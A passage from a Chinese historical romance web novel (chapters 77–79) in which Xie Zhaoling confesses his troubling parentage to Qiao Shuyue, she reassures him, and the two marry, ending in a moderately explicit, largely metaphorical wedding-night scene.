易知不为得到,只为了摧毁。 不惜以百姓的性命为代价,将朝局玩弄于鼓掌之中,视人命为棋子,只为了报复。 易知才是害得她不能善终的罪魁祸首。 而易知做这一切,尽是为了他。 他疑心自己为柳关山之子时,尚不敢对她坦白。 如今真相浮出水面,他不仅身体里流着一半柳氏的血,他还…… 他是一切罪恶的源头。 他不知自己该以何种面目再面对她。 梦里的,是他的另一个结局吗? 阿月所做的预知梦,是一样的吗? 她若知道一切,还会选择嫁给他吗。 谢昭凌再躺不住,从枕下摸出一个荷包。 几年过去,荷包不显陈旧,显然被使用者保存得极为妥善小心。 打开荷包,摸出那张画着他人像的纸。 这是乔姝月在他们初遇那年画的。 如今这画像已经皱皱巴巴,泛黄发脆。 谢昭凌静默看了许久,揣着它出了门。 卯时刚过,乔姝月忽然就醒了。 她捂着胸口,心悸得厉害。 玉竹在外间听到动静,忙走过来,见主子靠坐在床头,诧异道:“姑娘怎的这么早就醒了?” 乔姝月按了按急速跳动的心脏,脸色苍白,摇了摇头。 她梦到了前世被抄家下狱那段时日,一夜没有睡好,忽然就惊醒了。 约莫是休息不佳,她心脏难受得紧,能感觉到心脏每跳动几下,便会停上一下,惹得她一阵滞闷感,忍不住要咳嗽一声。 她无力靠在床头,恹恹地问:“几时了?” “才卯时一刻,天刚亮呢。” 盛夏时应当不到卯时便会天亮,怎会才亮? 乔姝月这才听到外头的雨声,“下雨了?” “是啊,还挺大呢,哗啦啦的,姑娘,还睡吗?” 乔姝月摇头,“雨声太吵,睡不着了。” 玉竹说着往外走,“那奴婢给你沏杯热茶醒醒神吧。” 她打开门,被廊下靠坐着门框的人影吓了一大跳。 玉竹惊叫出声:“谢护卫!你怎么坐这儿了?” 都过去许久了,玉竹还是习惯叫他谢护卫。 这声称呼终于将谢昭凌麻木僵硬又冰冷的灵魂给拉了回来。 他只觉得自己魂魄回了人间,身却还在地狱。 撑着门框起身,踉踉跄跄进了屋,也不管有没有礼数,合不合时宜,直直往里走。 玉竹咬牙跺脚,翻了个白眼,从外头把门关上。 谢昭凌径直绕过屏风,来到榻前。 在女孩茫然懵懂的注视下,单膝跪在榻沿,将人一把按进怀中。 他哽咽了声,卑微地恳求:“随我走吧,我们私奔,再不回来了。” 第77章 【77】 乔姝月被人紧紧箍着,渐渐要喘不上气。 她顾念他身上有伤,没敢碰他其他地方,急急拍几下他肩膀,“阿、阿凌哥哥,松开点……” 谢昭凌一向听她的话,此时此刻却如同一头失控的猛兽,陷入了无止境的深渊里,一味地抓着眼前的救命稻草,半分力道都不肯松懈。 他紧闭着双眸,用力去吸她的味道,以此试图安定自己那颗不安的心。 乔姝月觉察出他的异样,慢慢地,不再挣扎。她神情逐渐凝重,抬手回抱住他。 在她印象里,谢昭凌一直强大且冷静,他从未在她面前展露过慌乱与软弱。 若不是发生了什么,他不至于这般。 乔姝月不言不语,只安静地窝在他怀里,只待他冷静下来,同她说说是发生了何事。 谢昭凌也很想开口,可实在难以启齿。 他甚至有点后悔就这么冒然地跑来。 要说吗?若是坦白以后,她不要他了怎么办。 可不说……这么重要的事,他怎能瞒她,又如何能瞒得住呢? 她早晚都要知道的,与其从旁人口中得知这残忍的真相,倒不如他自己先来交代个痛快。 可谢昭凌才鼓足勇气,张开嘴,想要吐露真相,脑子里瞬间又将这些年的种种都过了一遍。 她待他那样好,美好得就像夜空中一轮皎洁的明月。 卑贱如他,幸得她不厌弃,才有了今日。 真要告诉她,你救了个洗不净的罪人吗? 本就不足的勇气顷刻间又都泄了。 柳氏于她而言,是死敌。 国师更是助纣为虐的主谋。 就像梦里易知说的那样,她会恨他的。 谢昭凌越想越觉得胸口滞闷,几乎无法呼吸。他不知不觉间,将怀里人抱得更紧。 小菩萨于他而言,早已比他的性命还要重要。他从不敢去设想自己的后半生中没有她存在的可能。若是叫他离开她,还不如死了算了。 正当他胡思乱想之际,她忽然开口:“阿凌,柳关山是你生父,是吗?” 怀里的女孩柔软轻盈的声音缓缓响起,谢昭凌蓦地睁眸,身子僵住,浑身肌肉绷紧,细细感受,还能察觉到他在颤抖。 乔姝月在心里暗叹一声,知道自己是猜对了,手掌安抚地在他后背拍了拍。 见他这么挣扎痛苦,她亦心如刀割。 “其实,自你与我说起柳三爷后,我心里便做了最坏的打算。你离京的这些日子里,我也一直在琢磨。” “柳三爷现在没有生育能力,可当年却不一定。凡事皆有万一,你之前笃定自己并非他亲子,也只是从万千的可能中,择了那一条你最愿意相信的,阿凌哥哥,我害怕的就是自欺欺人之后,你会接受不了这个结果。” “他应当真是被人报复了,所以这些年才生不出孩子。他不去寻你,应当也是被你的生母给瞒骗了。在你眼里他是个很难糊弄的人吗?”乔姝月还有心情同他说笑,打趣道,“你不是也瞒了他许多事吗?你别告诉我你没打算‘黑吃黑’,没想过压他一头。” 谢昭凌哑口无言。 少年时说想要做皇帝只是玩笑话,可自从边关回来,他早就想将这玩笑话当真。选择与柳关山合作,他也只想着拿对方当登云之梯,他想柳关山亦是如此打算的,在这方面,他们不愧是父子。 互相利用,又互相算计、防备。看似是站在一处,资源共享,可实际上这种亲近里没有半分真心,到了关键时刻,毫不犹豫就会给对方一刀。 谢昭凌唇畔扯出一个比哭还难看的,苦涩的笑,嗓音喑哑晦涩,字字艰难:“阿月聪慧,我远不及你。” 乔姝月嗓音含笑:“阿凌哥哥才不是没想到,只是不愿意往那边去想罢了。” “你怎的还笑得出来?”谢昭凌茫然道,“你不该对我说——” “说什么?质问你怎么会投胎成他儿子?” 谢昭凌惭愧地将头埋回去,心头沉甸甸的巨石被削下去一块,胸口稍微轻松了些,可他还是怕得要命,抱着人不肯撒手,生怕一松手,她就不见了。 他有些委屈:“阿月取笑我,投生谁家哪是我说了算的。” “那不就得了,你在这惴惴不安个什么劲儿?”乔姝月娇声埋怨道,“能不能松开一点,身子痛。” 谢昭凌理智归笼,忙不迭致歉,稍稍宽松了些手臂,但还是没舍得放开,手不安分地在她身上各处揉了揉,“你竟能接受我是他的孩子吗?” 那易知的事……也许她也能接受? 谢昭凌眼底迸发出期待的光。 乔姝月一无所知,轻描淡写道:“你是你,他们是他们。” 她如今能毫无障碍地说出这些话,全赖前世陛下对她的悉心养护,给予了无尽的宠爱与包容,以及今生和谢昭凌共同长大这些经历。 爱是一点一点堆积起来的,是两世的谢昭凌给了她这个底气,让她能坦然自若地接纳所有。 她心里想着,前世的陛下果然早就知道了,他以为她很在意,所以坚决不肯透露半分关于身世的事。 乔姝月现在想想,认为陛下的选择是没错的。 前世他们之间的关系不如此刻亲密,他们那会地位差异悬殊,他是高高在上的君王,而她早已经被柳氏磋磨得没有一丝傲气与自尊,她自卑自贬,总觉得自己配不上。 若是他坦然相告,会不会恨他她不知道,但她会想要逃离是一定的。 彼时她对“柳”这一姓氏避之不及,巴不得再也不沾边,若真知道他是柳氏后裔,那她心中很难无有芥蒂。 即便她已经喜欢了他,但她已如惊弓之鸟,如被人伤惯了的野猫,很难再接受这样一个人的爱怜。 不过此刻的她早已非前世那个遍体鳞伤的自己,今非昔比,不可同日而语,她的心态和选择俱发生了改变。 是前世的谢昭凌造就了如今的她,她合该再馈还于他,将他从执念里也救赎出来。 乔姝月言讫,半晌谢昭凌都没吭声。 他环抱着她,犹豫良久,最终决定再赌上一把。 终于肯松开怀抱,他握着她瘦弱的肩膀,目光直勾勾地望向她。 小心翼翼地,字斟句酌:“阿月,我还有一事,不能瞒你。” 他一咬牙,将易知所说之事和盘托出。 他一边说着,一边牢牢盯紧她的反应,一颗心随着她的神情变化而忽上忽下,这辈子都没有比此刻还紧张的时刻。 “这就是全部了,国师因为我,犯下种种罪孽。” 乔姝月怔愣了许久,半天没能将这庞大的讯息消化完全。 所以,她和她的家人,都只是人复仇的工具。 他们的生死,从来不值一提,就像树下的蚂蚁,随随便便就能被人碾碎。 她大脑空白,脸上的表情愈发苍白淡漠。 谢昭凌的心蓦地沉了下去,他用力抓握了一下她的肩膀,见她没有反应,似心灰意冷了,他恐慌无措,十指脱力一般,顺着她的胳膊滑了下去。 就在指尖划过她衣袖,即将摔落到榻上时,她一把将他的双手捞住,用力捏紧。 她攥得力气极大,用力到他指节泛起疼来。可他哪舍得抽走? 他眼眶倏地红了,在她陡然锐利的震惊的目光下,狼狈地垂下头,“对不住,阿月。” “你为何道歉,这又不关你的事!”乔姝月嘴唇颤抖着,忽然激动起来,“都是那国师的错!” 她眼泪瞬间涌了出来,又哭又笑地,痛骂道:“他自己要报仇,只折腾柳关山一人便好,何必要拖累万千条生命同他一起堕入深渊?!” “自诩深情,自私自利,自作聪明!如此蠹国害民、生灵涂炭的恶劣行径,实在是枉为人!” 乔姝月越是骂,谢昭凌的头就低得越深,自卑得难以自已。 他想要就这样放开她的手,可脑子里那些相爱的画面挥之不去,对她的感情早已融入骨血,想要剥离,谈何容易? 她是少年时唯一可见的一抹月光,现在跟他说,往后他再也无法沐浴在月光下,要回到那一隅只有黑暗与虫鼠的水沟里,他如何能适应。 他好不容易才从污泥中爬起来的,如何能再失去月亮。 可若不放开她,他又实在无法直视她憎恨的目光。 脑子里有两个小人在吵架,吵得他头痛欲裂,人快要分裂成两半,痛不欲生,倒恨不得自己当初就在人祭台上烧死算了。 听她渐渐哭了起来,谢昭凌觉得自己实在罪该万死,他想要同往常一样,将她抱在怀里哄,可……他还有资格吗? 一时间手足无措,就这么呆愣愣地僵在原地,进退两难。 乔姝月抹了一把眼泪,恶狠狠瞪他一眼,含着眼泪主动扑进他怀里。 这回她再顾不得他身后的伤,存了怨气,非得让他的身体也痛一痛不可。 她箍紧他的双臂,用力在他肩上咬了一口,埋怨道:“你个傻子,见我伤心,也不知哄?” 谢昭凌没了思考的能力,身体本能地将她抱住。 怀中的充盈令他大脑发懵,被这突如其来的拥抱吓到,心里又是惊喜,又是惶恐,还生出些偏执的恶念来,心想着,只要她可以接纳他,做什么都可以,哪怕就是此刻去手刃了仇人,他也不会说一个不字。 他心口五味杂陈,结结巴巴地解释:“我这般出身,何以再与姑娘相配?” “哟,这会儿又一口一个姑娘,倒同我生分起来了?” 谢昭凌笨嘴拙舌起来:“我没有!对不起,我怕你不要我……” “怕我不要你,你就要抢占先机,先不理我了?”乔姝月嘴下不饶人,故意刺他,“怎么,一时接受不了,想要将我撇开?那不劳烦将军费心,我自去同阿娘回话,毁了这婚约。” 说着就要挣脱开,张嘴就要唤了玉竹进来更衣。 两人纠缠对抗着,她一个女孩子,力量自然不敌。可谢昭凌不敢使劲,怕一个不小心将她误伤,因此一时之间都难将她安定下来。 乔姝月恼他因为这点事竟生了退却的意,又知他有这想法再正常不过,因为换做是前世的她,亦会生出同样的念头来。 恨只恨那些作恶的人,是那些坏人叫他们如此痛苦和为难。 但眼前只有谢昭凌,只有她的爱人,她不对他泻火,又能去找谁呢? 如此想着,手不住地捶打他,“你既将自己看做是恶人的同伙,那你就去吧,还管我作甚?我权当自己不认识你。今日悔婚,明儿我就找旁人嫁了!” “找个对我百依百顺,疼我进骨子里的好丈夫去,再不要你了!” 谢昭凌被这话刺激得神志飞散,心底的阴暗面全都翻了出来。 虎口卡在她的下颌,扼住她小半张脸,迫她仰头,不管不顾,低头吻了下去。 第78章 【78】 往日的亲吻是缠绵且温柔的,今日却亲得惊心动魄,二人皆将各自的痛苦与不安融进了这个吻里。 她先用力咬破了他的嘴唇,口中渐渐散开腥甜味道。 他不还嘴,由着她发泄火气,折磨自己。 被她咬得很痛,可奇异般,心底倒好受了不少。 她还愿意对他发脾气,只对他这样,在她心里,自己到底是与旁人不同的。 只要她肯原谅,他做什么都肯,指东不敢打西,让他去死便不敢活。 有眼泪扑簌簌地落到二人的唇上,咸苦的泪液滴在伤口处,便更疼了。 他伸出舌头,将她的委屈尽数吞入腹里,她逮住机会,又要在他舌上咬下一口。 他灵活地逃走,反将她含在唇齿间,温柔地吸吮安抚。 半晌,乔姝月四头乱撞的攻势终于弱下来,空气中的硝烟味渐渐散了,榻间气氛逐渐又变成另一种焦灼。 他松开挟制,手捧着她的脸,跪在榻上,与她接吻。 两人口腔中皆是血腥的味道,她身子徐缓地软在他怀里,柔弱无骨,手臂勾上他脖子,而他揽着她的纤纤细腰,难分彼此。 乔姝月心下生出悔意,主动又探出小舌,自他破裂的唇上扫过,带起一阵痒,谢昭凌悸动不已,更情动地吻她更深。 他倾注了全部的温柔,她哽咽了声,忽然将他推开,埋头进他颈窝。 他见她终于不再故意恶言刺激,便将心里话都发泄出来。 许是情绪过于激动,又纠缠了许久,嗓音变得低哑磨人。 他道:“莫再提起不要我这种话,我万万是承受不得的。早在分别那年,便已将自己全副血肉与意志都许给了你,既已收下,就不能反悔,否则我又该何去何从?” 乔姝月抿了下麻木的唇瓣,别扭道:“强买强卖,威胁我?” 他低声下气:“哪敢,是在求你。” 乔姝月不说话了。 谢昭凌这会儿也品出她的意味来,她不是真的要舍了他,而是恨铁不成钢的心态。 恼他怨他自怨自艾,不够自信。这份迟疑与退却,是对自己与她的双重否定和怀疑。 所以她该骂他,该对他发脾气,她并无错处,错的是他。 谢昭凌一向能找到问题最关键之处,他很快把矛盾点找了出来,诚恳道:“我不该见你难过,就自卑害怕地不敢靠近,你没有明确说出拒绝的话,我就该相信你是接纳我的。该厚脸皮地贴上去,不应为了那点可耻的自尊,怕被你拒绝,就犹犹豫豫,驻足不前,看着你难过。” “做你的夫婿,自该在你难过之时,将肩膀凑过去,供你躲藏。若真不闻不问,不管不顾,那才是辜负了你的一腔情意。” 他低声缓道:“阿月,我领会的,可对吗?” 遇到过谢昭凌的人都夸他聪明,是有道理的。他这一番话说出来,一下就击中了要点。 如今的乔姝月最在意的不是真相,不是他是谁的孩子,她看重的是他的态度。 他们若想要同舟共济,一起面对未来的困境,就该都有坚不可摧的内心,以及坚定不移的对彼此的信任。 她经历了两世才达到这境地,让他短时间内同自己一样是为难了些。但他可是谢昭凌啊,她的陛下,无所不能。 瞧,只是稍微逼一逼,他便迅速长成了她喜欢的样子。 从前他便知错就改,学得极快,如今亦是。因为重视,所以将她的话都听进了心里。 这世间实在再难找到第二个像他这样的待她好的男人了。 乔姝月在他怀里摆头,吓得谢昭凌心脏骤停,紧张地问:“摇头是何意?” 他应当领会对了她的心意,可她此刻是在否定他吗?是他说错了? 乔姝月只当没听到,脑袋像拨浪鼓似得,摇来摇去几个来回都不停。 等谢昭凌的前襟感受到温热的潮湿以后,他才无奈地松了口气,原来只是为了将眼泪都蹭到他身上。 手臂不自觉又收紧两分,低下头去,也在她发间蹭了两下。 等二人将自己的眼角的湿意都遮掩干净后,再分开,情绪重归平稳,开始冷静地进入正题。 把事情说开了以后,谢昭凌心头的负担彻底卸下,也再没有什么意思说出口的。 他缓缓吐了一口气,“他做那一切皆是为了我,闹出这么大的动静,又害了许多人,他……” 谢昭凌话没说完,就被乔姝月用手指抵住了唇。 她“嘘”了声,让他住口。手指轻轻摩挲着方才被她咬破的伤口,迎着他深情又依恋的目光,不自觉心跳加速。 她咬了咬自己只是略微有些麻木的唇,脸颊微红,心底发虚,后悔将他的唇咬破。 她摇了下头,否定道:“他不是为了你,而是为了泄愤,是一己私欲,从来都与你无关。” 谢昭凌一时间想不明白。 易知所犯之罪,确实与他无关。 但他既然知道了这些,就无论如何都难与这些事撇清关系。 当局者迷,谢昭凌看不透其中玄机,乔姝月就指给他看,将他从自责自厌的死胡同里引出来。 “我先问你,你知道了国师的所作所为,可生出了一点逃跑的心?” 谢昭凌急急否认:“我没有,我不想离你而去!我想和你一辈子在一起!” 他这么直白,倒叫乔姝月脸一红。 “既没有想逃跑,那我再问,你后悔要娶我吗?” 谢昭凌又坚决地摇头。 “再假如,你今日才认识我,而昨日你知道他为祸四方,那你以后会避开我吗?” 谢昭凌心下骇然,一时间不敢对上她的目光。 她的问话,竟和他的梦境重合上了。 所以他昨夜真的与她梦到一起了吗? 谢昭凌不敢敷衍,不管她是否也清楚那部分梦境,都认真解释:“我喜欢你,与旁人无关。他所做之事,并非是我授意,也非我所愿,我不会将他所犯之罪强加到自己身上,自然也没什么不敢走到你面前的。” 就像在梦里,他早早知道了她,对她充满好奇,也想着只捞她出苦海便罢了。 可后来真见了她,才知道何为心动。心里愈发遗憾,为何以那样的身份认识了她。 因为身份的敏感,并不能对她完全坦诚,哪怕同床共枕,他亦有口难言,这才是他的愧疚所在。正如此刻,他深爱她,为了是否要坦白一事煎熬着,深觉得若是欺瞒,便是辜负了她。 乔姝月好奇:“那你在怕什么?” 他如实道:“我怕你因他而厌弃我。” 有个词叫爱屋及乌,还有个词叫殃及池鱼。 他虽不会主动背负起易知所犯的罪孽,但难保她会不介意。 乔姝月终于了然他的心结所在。 前世谢昭凌在身世一事上遮遮掩掩,实则是因为知道她会排斥,下意识规避了那种情况。 因为隐瞒了她,所以常觉愧疚。 但在如今的乔姝月看来,这些事是可以摊开来讲的。 “易知爱你生母,却不爱你。若是在乎你,就早该告诉柳关山,说他还有一个孩子存活于世。柳关山苦于无嗣,已经成了执念,我不信凭他与柳关山二人之力,还寻不到你。” “若是柳关山与郑丰南早知有你的存在,那在你被卖进悦泉楼时,就会被发现了,哪里又轮得到我救你出去呢。” 那他也不会再悦泉楼中受人欺凌,挨骂挨打了。 “你在梧县,离南黎国很近吧。他若真想寻你,哪怕是一个村落一个村落地寻,又岂会二十年都寻不到?” 乔姝月一语中的:“他从未将全部精力都放在找你这件事上,他将半生时间都用在如何算计柳氏,如何报复柳关山,他只是想给你的母亲报仇。” 谢昭凌怔住。 乔姝月叹了口气:“被拐卖的哪有什么好下场?卖到人家里做下人做苦力,这是爱你的人想要的吗?反正我见不得你受苦。他若真担忧你,就应该不惜一切先将你寻到,而后再想着报仇的事。” “你在西京城待了几年,他若真有心,会发现不了吗?” “阿凌,他并不为你,这一切都与你无关,所以无需害怕。” “至于柳三爷,你就更不必计较了,”她笑了笑,“在预知梦里,折磨我的罪魁祸首是柳步亭,你早就从他手里将我救了出来,至于柳关山,那都是后头的事了,没有他,柳步亭也不会放过我们。” 柳关山更多的是与柳氏相斗,与乔氏关联不大。柳关山露出狰狞面目时,乔氏已经败在柳氏的手下。 乔姝月这一通开导,十分明确地表示着,她不介意他的身世。 道理谢昭凌并非不懂,他只是害怕。 他其实无所谓易知心里有没有他,又是否是为了他,他听到乔姝月极力撇清他与易知的关系,心里就似化了一颗蜜糖一样甜。 为了不让他自责愧疚,她绞尽脑汁地为他开脱。 她竟真的不介意。 谢昭凌喉间发哽,一时间发不出一个音。 眼眶微热,又不想被她瞧见,便把她拉回怀里抱着。 乔姝月没挣扎,顺从地靠在他颈窝,抬手抓了下他衣襟,见他低下头来,望着他,轻声道:“其实我有点开心,你没有在知道真相以后就默默离去。尽管你心里害怕,但你还是第一时间就来找我了。” 这一点就比她强,他没有想过逃避,而是勇敢面对。 她想,若是前世的自己,骤然听闻全部的真相,并不能这么勇敢。所以他不敢提,想必也是了解她的性子。 这些话她前世没机会对谢昭凌说,不知他在背后做了多少挣扎。 “我不真怪你,我也会有胆怯懦弱的时候。” 她抬手抚上他侧脸,最后又强调:“我说的话皆出自真心,不是安慰你,是当真认为你同他们是两回事,你别不信。” 谢昭凌才刚压下的酸楚又冒了头,脸贴在她掌心里,避无可避,当着她的面一点点红了眼眶。 他气息颤抖,笑着叹道:“阿月,你怎么这样好?” 他上辈子一定拯救了苍生,今生才换来这样一个好姑娘救他。 两个人将心事说开,感情更近一步。 谢昭凌依依不舍地将人放开,到底是偷跑来的,不好久留,于是抓着她又吻了好一通,等到玉竹不耐烦地第三遍催请,才顶着大雨,又原路翻墙回去了。 乔姝月看着他火急火燎的背影,那句“用个早膳再走”都没来得及说。 身世的真相揭开以后,生活并无丁点变化。 乔姝月开始暗暗地打探国师的消息,只可惜那人住在宫中,没什么有用的消息能传到她耳朵里。 实在探听不到,便放弃了,她全然信赖谢昭凌,相信他能处理好。 近来与她有关的,就只剩下成婚这一件事。 转眼到了大婚前夕。 外界依旧风平浪静,乔姝月却愈发忐忑。 一是因为两辈子加起来,她还是头一次嫁给他。 二则是因为,她能感受到谢昭凌身上那股紧绷劲儿,她知道,等到大婚过后,他就要开始有所动作。 因为他们相遇的时间提前,导致一切变故都往前移。 国师那边终于有了风声,听说承顺帝病了,就在他们婚期前两天。国师似乎一天都等不得,只等着谢昭凌完婚,就要送皇帝归西。 幸好她父亲被罢官,一蹶不振,消息闭塞,否则若是听说谢昭凌与柳三爷“沆瀣一气”,还不知要气成什么样。 出嫁这日,是个晴天。 因为皇帝病危,又因近来西京城风声太紧,因此她的婚礼不适宜大操大办。 乔姝月没觉得委屈,谢昭凌却因此同她道了许久的歉,还说往后定会为她补一个盛大的婚礼。 乔家因此原本也有颇多怨言,觉得是谢昭凌亏着她了,然而临到了大婚这日,乔家众人的怨言也说不出来了。 因为昨夜才刚抄了几户人家,连叶宰辅一门都倒了。风声鹤唳,皇城内闹得整宿不消停。 今日街上都不见什么人,家家户户房门紧闭,活像是被外邦攻入皇城那般紧张。 乔姝月一早梳妆完毕,换好婚服,坐在房中静待迎亲的队伍。 褚氏拉着她的手,泪眼婆娑,“嫁过去后,要好好的。” 虽知道谢昭凌不会亏待女儿,可她仍舍不得。 褚氏环视了一圈,压低声,忌惮地道:“他与柳三爷,打算举事吗?” 褚氏作为褚玄英的妹妹,多少能从兄长的神态和话语中品出些不一样的意味,朝局她干涉不了,她只望那两个男人能护好她的月儿。 乔姝月安抚地抱了下母亲,在她耳边轻言:“阿娘,您放心吧。” 褚氏也知此事不好声张,便不再问了。 迎亲队伍很快到了。 并不盛大招摇,没有吹打奏乐的礼仪乐队,只来了一队人马,却齐全得很,来得皆是谢昭凌与舅舅的心腹,半个外人都没有。 谢昭凌骑在为首的高头大马上,身后跟着四人抬的花轿。 乔姝月拜别了父母,忍着眼中的泪,上了花轿。 她面前是一片红色,隔着盖头,终于没忍住落下眼泪。 轿外,谢昭凌看了一眼乔誉,又看向乔氏众人。 恭敬地一揖,翻身上马,带着队伍渐渐远去。 第79章 【79】 早在上月,谢昭凌便搬出了将军府,分府别住。 宅子与乔家比起来,并不太大,是皇帝在国师的煽动下赐下的。 乔姝月知道他们在此只是暂住,便也没管房子是大是小。 谢昭凌又是一阵道歉,叫乔姝月以为,自己跟了他好似就吃不饱、穿不暖、夜里只能露宿街头了似得。 自将身世告知她以后,他便常常觉得亏欠于她。 这不,拜过了堂,送入洞房,他将人都遣散,关起房门,盖头还未摘,竟要跪下去,帮她揉脚。 乔姝月透过盖头下面的缝隙,瞥见他单膝抵在地上,心头一颤。哭笑不得地抬手去推他肩膀,嗔道:“就是昨晚睡觉不小心踢到了床架而已,犯不上你这样!” 堂堂男子汉,哪有动不动就跪下的道理。 谢昭凌却是不以为耻,左右这些伺候的活儿他早就做惯了,哪怕中间空了几年,如今再拾起来也没什么生疏,全当做重操旧业。 他手上的按摩技术很好,揉得她很快犯了懒劲儿。没那耐心等他掀盖头,自己抬手给扯下来了。 脚踝上那只手掌动作蓦地停了。 乔姝月重获光明那刻,便对上一双怔愣的眼睛。 而后男人目光中的错愕变成了慌乱,他轻轻将她脚放下,转头就去寻盖头,“不可以自己摘,听说这样不吉利!” 乔姝月倚在榻上,含笑斜他一眼,“怎么个不吉利法?” 谢昭凌说不上来,总之就要再给她盖上。 她噗嗤一笑,拍开他的手,“嫌你磨蹭,真担心,怎么早不帮我揭了去?” 谢昭凌无奈叹道:“方才走进来时,我瞧你姿势不好,想着你约莫是疼着了,哪还顾得上旁的?” 自然是要先帮她疏通了筋骨才行。 乔姝捂唇轻笑,“你倒是细心。” 他素来如此,当初及笄宴上也是眼尖地发现她饿白了脸,偷偷给她一颗糖。他的悉心关照体现在各方各面,比身边的婢女还要体贴入微。 “那现在……” 谢昭凌盯着那红盖头,茫然道。 乔姝月随手将盖头一扔,活动了下脚踝,果真不疼了,她前倾身子,勾着他的脖子就往榻上倒。 谢昭凌瞳孔微震,喉结艰难地滚动了两下,他被人压在下头,手掌不自觉地抚在她腰侧,防着她摔倒。 他仰头望着身上的女孩。 一双秋水盈盈的眸子正含情脉脉地望着他,嫣然一笑,婀娜多姿。 能看出她亦很羞涩,顾盼流转之间,浸出一片娇媚的水意,望着他的眼神带了一副小勾子,挠在他心头,叫他再难忍耐。 她的气息洒在他的颈侧,撩拨得人心头发痒,彼此呼吸纠缠,周遭气氛微妙而焦灼。 腰肢纤细柔软,身形玲珑有致,与他严丝合缝地贴合在一处。 忽听她问:“我今日如何?” 谢昭凌心神荡漾,失神喃喃:“吾妻甚美。” 他没忍住将她往自己身上压紧了些。 乔姝月趴在他胸口,红着脸,抿唇笑起来,“夫君。” 算作回应他那一声妻。 “你放开我一些,小心压着伤口。” 她谨慎地想往旁边蹭去,却不知二十多岁的年轻男人正是血气方刚的时候,尤其是从未沾过女人身体的男人,更尤其是怀里抱着挚爱心上人的男人。 几乎是瞬间便有了反应,他将人掀开反压住,他手肘撑在她身侧,低头笑望着她,“这下不怕碰到伤处了。” 高大的男人将自己拢住,乔姝月没将他推开,抬起袖子,遮住下半张脸,只露出两只眼睛,欲语还休地回视他。 婚服是谢昭凌特意花重金命绣娘制作的,衣裙通体都用的上好的缎料,绸缎庄的掌柜同他说,这料子可是他们铺上的招牌,质地细腻,触感冰凉润滑,犹如少女的肌肤。 谢昭凌却觉得,那布料远远比不过她怀中人的触感。让人一碰,便再舍不得挪开手。 红鸾帐内,人影交叠。 两套精心打造的婚服被人丢弃出帐子。 他将她抱在怀里,“冷吗?” 她笑睨他一眼,赧然嗔道:“若冷,你会将衣裳还我?” 他笑着沉身,“不,我会再抱得紧些。” “……” 他们从未挨得如此近过,她将他吞噬融合,任他揉捏成各种姿势。 时而感觉自己如一汪水,滑溜溜地摊平在榻上,随着他指尖的滑动,变幻百态。水流是有轮廓的,即将要溢出时,便会被他的手掌困住拢回到一起,想逃都逃不得,只能被困在一隅,任由口渴的旅人汲取。 时而又如一条拉到极致的琴弦,被轻轻拨弄一下,便发出音调来。被他一碰,一戳,就忍不住轻吟一声。 那音打着颤,婉转动听,让拨琴者兴致愈发高昂,愈发卖力地弹弄起来。 她本以为自己未曾经历过病痛与磋磨,就有足够的体力,应对他带着坏劲儿的拉扯。然而她还是高估了自己,低估了他。 他不仅力气大,耐性也足够好,磨得她毫无廉耻之心地开口求他,才肯尽数都给了她。 等到一更过,谢昭凌终于肯离开那一汪水泽。 包裹着他的那池温泉又重归于平静,而他从水泽中剥离出来后,坚硬的骨头变回冰冷,变回锐利。 那令人沉迷的温暖骤离,便有铺天盖地的失落落在他头顶,一颗心摇摇欲坠,好像随时都会掉下去摔个粉碎。 心中似有一片旷野,冷冽的风呼啸而过,本能驱使着他再去投入那厢温暖。 他贪恋、着迷、不知满足。 意犹未尽于方才那昏沉混乱的交连,想要再去那陌生隐秘的曲径通幽处游览一番。 无需思考,不再犹豫,卷土重来,复又将身子一贴。 低头衔住她嘟囔着“饿了”的唇,拉着她再入沉沦。 …… 夜色如漆,万籁俱静。 丫鬟们红着脸将热水与饭食送进正房,正听到女子抱怨的声音。将东西放下便离去,不敢久留。 房门将一室春色与娇滴滴的嗔怒声都掩住。 “饿死我,你就当鳏夫去吧!” “还有力气骂我,这鳏夫就做不成。” “笑什么!你在得意?这回没饿死,下回也是要饿死的!” “哦,娘子的意思,下回还可以再多一会?” 乔姝月不吭声了,含着雾气的杏眼错愕地瞪圆。 正巧他端着白粥坐在床边,笑意盈盈地喂到她嘴边,拖着长音儿“啊”了一声,说道:“别饿坏了。” 乔姝月:“……” 真是饱人不知饿人饥。 她用过了膳,又被他抱去沐浴一番后,肚子和身上都暖洋洋的。 屋里的被褥被丫鬟换了新的,她裹着被子靠在床头打瞌睡,半眯着眼,看谢昭凌坐在桌上,吃她碗里剩下的粥。 她蓦地清醒了几分,诧异道:“你竟然也要吃?” 谢昭凌愣了下,捏着勺子,不知该不该放嘴里放,他迟疑道:“我不能吃吗?” 乔姝月不知想到什么趣事,噗嗤一笑,摇头道:“我以为你不知道饿呢。” 前世顾念她身子不好,陛下一直没舍得要了她,每回都用别的方式替代。 有回夜里,陛下奏折看得久,晚膳都没传,言说是字看了太多,头晕眼花,没胃口吃不下。 他不去吃饭,挤出时间非要纠缠她。可她太困,实在懒得折腾,于是就敷衍着,任由他自己胡闹。 她握上那处,烫得眼皮一跳,很快又在他温柔的哄诱声中睡了过去。 不知过了多久,半梦半醒间,感觉到他凑到她脖颈处亲吻。 弄得她心里痒痒的,渐渐脱离了梦境,她记得迷迷糊糊地问了他一句:“陛下可要用膳吗?不吃可不行。” 他动作不停,唇擦过身体各处,含糊地说了声:“阿月秀色可餐。” 自那之后,乔姝月再也不问他饿不饿,是否要用膳这种话。 爱吃不吃,饿死算了。 乔姝月没等他,倒到床上,先睡了。 约莫是她没在陪着,他一个人食不知味,只勉强垫了垫便放下了。 他钻进她被窝里,将人抱在怀里,听她呼吸声平缓而规律,知道她这已睡熟。 被折腾太久,累得沾枕头就睡。 谢昭凌唇畔漾起一抹温柔的笑,搂着人,很快也睡了过去。 天光破晓,乔姝月便醒了。 她浑身酸乏,睡得也不大踏实。睁开眼看到男人立于床榻外头,刚换好朝服,不禁一愣。 “阿凌?” 谢昭凌听到动静转身,冷峻的面容渐渐柔和。 漆黑的乌瞳里闪着光,眼底倒映着她初醒的模样。 睡眼惺忪,懵懂娇媚,眼神迷茫地望着他。 随着撑身起来的动作,被子下滑,露出光洁细腻的肩膀,上头遍布着暧昧的痕迹,看得人大清早燥意难平。 谢昭凌咽了咽喉咙,快步上前,弯身将她搂在怀里。 “身上难受吗?有哪里疼吗?” 乔姝月闭着眼睛,嗓音黏糊:“不,就是累。” 初次的体验很好,他并不粗鲁,很温柔,很有耐心,克制着没伤着她。 等后来她适应,才放肆了些,不过并不算过分,尚在她能承受之中。 他低声道:“怎不再睡一会?时辰还早。” 